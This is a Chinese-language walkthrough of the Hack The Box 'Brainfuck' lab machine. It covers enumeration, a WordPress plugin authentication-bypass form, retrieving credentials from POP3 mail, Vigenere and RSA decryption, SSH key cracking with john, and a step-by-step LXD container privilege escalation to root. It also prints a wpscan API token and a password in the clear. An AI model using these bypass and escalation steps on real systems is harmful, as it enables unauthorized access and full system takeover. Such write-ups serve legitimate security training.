HTB 学习笔记
【Hack The Box】linux练习-- Brainfuck
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月7日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
信息收集
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 94d0b334e9a537c5acb980df2a54a5f0 (RSA)
| 256 6bd5dc153a667af419915d7385b24cb2 (ECDSA)
|_ 256 23f5a333339d76d5f2ea6971e34e8e02 (ED25519)
25/tcp open smtp?
|_smtp-commands: Couldn't establish connection on port 25
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: USER PIPELINING UIDL SASL(PLAIN) RESP-CODES AUTH-RESP-CODE CAPA TOP
143/tcp open imap Dovecot imapd
|_imap-capabilities: ENABLE LITERAL+ Pre-login more IMAP4rev1 post-login SASL-IR ID listed capabilities have AUTH=PLAINA0001 OK IDLE LOGIN-REFERRALS
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
web枚举
发现只有静态页面,只种情况下要么存在目录爆破的情况,要么需要做host,而未知的host信息通常去nmap看有没有,或者是看页面登录有无跳转
nmap信息如下
commonName=brainfuck.htb/organizationName=Brainfuck
Ltd./stateOrProvinceName=Attica/countryName=GR | Subject Alternative
Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
gedit /etc/hosts
所以我们要把这个写入host文件
然后直接访问这个即可
https://www.brainfuck.htb/
还有另外一个
https://sup3rs3cr3t.brainfuck.htb
orestis发现一个可疑用户名,并且也发现了这是一个wp站点
我们按照惯例扫描一下目录
扫描方法随意,我加了php的后缀,反正啥也没扫出来
再根据wpscan来扫描一下漏洞,关于wps我们需要重点关注的是有五已经安装的插件,而后才是cms的版本漏洞
wpscan --url https://brainfuck.htb/ -e u --api-token aGVBtnUBzh8Gx1PxYsWpgX06Bsa05TO5rtipCRHesf8 --disable-tls-checks
存在的用户有这两个
看到安装了插件功能,而这个插件正是非常脆弱的
searchsploit wordpress Plugin wp support
然后在谷歌也是找到了别人写的脚本,如下
自己搭建一个python服务器,而后浏览器访问本地即可
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="orestis@brainfuck.htb">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
出现一个界面,我们输入用户,就可以不用密码而进入该账户了
然后页面会空白,这个时候再把url多的一些删掉只留这么些
回车,就能看到了
我们发现了smtp的插件,也发现了以往的主题脆弱点无法使用,进一步的枚举,发现了设置页面有账户以及密码,f12检查可以找到密码
smtp枚举
nc 10.129.228.97 110
list
retr 1
retr 2
www-data
username: orestis
password: kIEnnfEKJ#9UmdO
ssh尝试
尝试ssh
发现ssh不能登录
web的第二次尝试
由于咱们之前加host的时候有两个dns
这次尝试一下第二个
看到第二个被加密了,但是我们要找共同点
mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja
很明显这些都是经过了加密
而通过这一个信息,我猜测这是https可能是,我拿去尝试解密一下
密码学
Orestis - Hacking for fun and profit
加密成了
Pieagnm - Jkoijeg nbw zwx mle grwsnn
https://www.braingle.com/brainteasers/codes/onetimepad.php
https://cryptii.com/
Vigenere Cipher解密
得到key
fuckmybrain
然后在第二个网站解密
得到了存在rsa的网址
ssh密钥爆破
python /usr/share/john/ssh2john.py id_rsa > 1.txt
john --wordlist=/usr/share/wordlists/rockyou.txt 1.txt
发现lsd组,还有几个东西
看了这个加密规则认为这是rsa,关键就在于n=p*q
这就是rsa的算法
rsa解密
p,q,e三个数值来源于给出的信息
def egcd(a, b):
x,y, u,v = 0,1, 1,0
while a != 0:
q, r = b//a, b%a
m, n = x-u*q, y-v*q
b,a, x,y, u,v = a,r, u,v, m,n
gcd = b
return gcd, x, y
def main():
p =
q =
e =
ct =
# compute n
n = p * q
# Compute phi(n)
phi = (p - 1) * (q - 1)
# Compute modular inverse of e
gcd, a, b = egcd(e, phi)
d = a
print( "n: " + str(d) );
# Decrypt ciphertext
pt = pow(ct, d, n)
print( "pt: " + str(pt) )
if __name__ == "__main__":
main()
会得到一个pt和n
然后进入python命令行
>>> pt =
>>> f"{pt:x}"
>>> bytes.fromhex(f"{pt:x}").decode()
看这里面debug.txt有三段,就分别是p,q,e
output.txt是ct
下面得出了ct
>>> pt =
>>> f"{pt:x}"
>>> bytes.fromhex(f"{pt:x}").decode()
lxd提权(我喜欢把这称之为烂兄弟提权)
1. 传输,这是alphina的base64
echo QlpoOTFBWSZTWaxzK54ABPR/p86QAEBoA//QAA3voP/v3+AACAAEgACQAIAIQAK8KAKCGURPUPJGRp6gNAAAAGgeoA5gE0wCZDAAEwTAAADmATTAJkMAATBMAAAEiIIEp5CepmQmSNNqeoafqZTxQ00HtU9EC9/dr7/586W+tl+zW5or5/vSkzToXUxptsDiZIE17U20gexCSAp1Z9b9+MnY7TS1KUmZjspN0MQ23dsPcIFWwEtQMbTa3JGLHE0olggWQgXSgTSQoSEHl4PZ7N0+FtnTigWSAWkA+WPkw40ggZVvYfaxI3IgBhip9pfFZV5Lm4lCBExydrO+DGwFGsZbYRdsmZxwDUTdlla0y27s5Euzp+Ec4hAt+2AQL58OHZEcPFHieKvHnfyU/EEC07m9ka56FyQh/LsrzVNsIkYLvayQzNAnigX0venhCMc9XRpFEVYJ0wRpKrjabiC9ZAiXaHObAY6oBiFdpBlggUJVMLNKLRQpDoGDIwfle01yQqWxwrKE5aMWOglhlUQQUit6VogV2cD01i0xysiYbzerOUWyrpCAvE41pCFYVoRPj/B28wSZUy/TaUHYx9GkfEYg9mcAilQ+nPCBfgZ5fl3GuPmfUOB3sbFm6/bRA0nXChku7aaN+AueYzqhKOKiBPjLlAAvxBAjAmSJWD5AqhLv/fWja66s7omu/ZTHcC24QJ83NrM67KACLACNUcnJjTTHCCDUIUJtOtN+7rQL+kCm4+U9Wj19YXFhxaXVt6Ph1ALRKOV9Xb7Sm68oF7nhyvegWjELKFH3XiWstVNGgTQTWoCjDnpXh9+/JXxIg4i8mvNobXGIXbmrGeOvXE8pou6wdqSD/F3JFOFCQrHMrng= | base64 -d > bob.tar.bz2
2. 导入镜像
lxc image import bob.tar.bz2 --alias bobImage
3. 查看是否成功
lxc image list
3. 创建
lxc init bobImage bobVM -c security.privileged=true
4. 指向root
lxc config device add bobVM realRoot disk source=/ path=r
5. 开机
lxc start bobVM
6. 检查
lxc list
7. 获取shell
lxc exec bobVM -- /bin/bash
8. 进入目录
cd /r/root/
9. 随心所欲
cat root.txt
看到没有可利用的,所以我们自己拉一个